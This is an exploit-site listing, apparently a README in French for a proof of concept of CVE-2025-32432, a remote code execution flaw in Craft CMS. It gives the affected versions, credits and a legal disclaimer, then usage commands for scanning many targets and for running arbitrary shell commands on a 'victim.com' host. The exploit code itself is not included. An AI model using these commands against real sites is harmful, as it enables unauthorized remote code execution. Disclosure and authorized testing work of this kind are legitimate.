Share
## https://sploitus.com/exploit?id=776C9ED4-3841-5FC1-B7D1-370CEAB62FAB
# PoC_CVE-2025-32432
CraftCMS CVE-2025-32432 - Clean PoC

**Version nettoyée et améliorée** du PoC original.

### Crédits
- Recherche originale : [Orange Cyberdefense](https://github.com/CTY-Research-1/CVE-2025-32432-PoC) + Chirag Artani
- Version nettoyée : [n40y](https://github.com/n40y)

### Disclaimer
Ce PoC est fourni **à des fins éducatives et de tests autorisés uniquement** (CTF, pentests avec autorisation écrite, etc.).

Toute utilisation sur des systèmes sans autorisation explicite est illégale.

### Améliorations apportées
- Suppression des commentaires en chinois
- Détection automatique de la version de Craft CMS
- Code restructuré et plus lisible
- Meilleure gestion des erreurs
- Support multilingue (FR/EN)

### Versions vulnérables
- Craft CMS 3.x < 3.9.15
- Craft CMS 4.x < 4.14.15  
- Craft CMS 5.x < 5.6.17


### Usage:

#### Check if version is affected :
```bash
python3 craftcms_rce_php_check.py -u https://target.com
```

#### Checking multiple URL :
```bash
python3 craftcms_rce_php_check.py -f urls.txt -t 10
```

#### Run PoC exploit :
```bash
python3 craftcms_final_payload.py -u https://victim.com -c "id"

Options:
    -u/--url       Target base URL (no trailing slash)
    -c/--cmd       Shell command to execute
    -a/--asset     (Optional) Known valid assetId
    -s/--scan-max  Max assetId to scan (default: 300)
```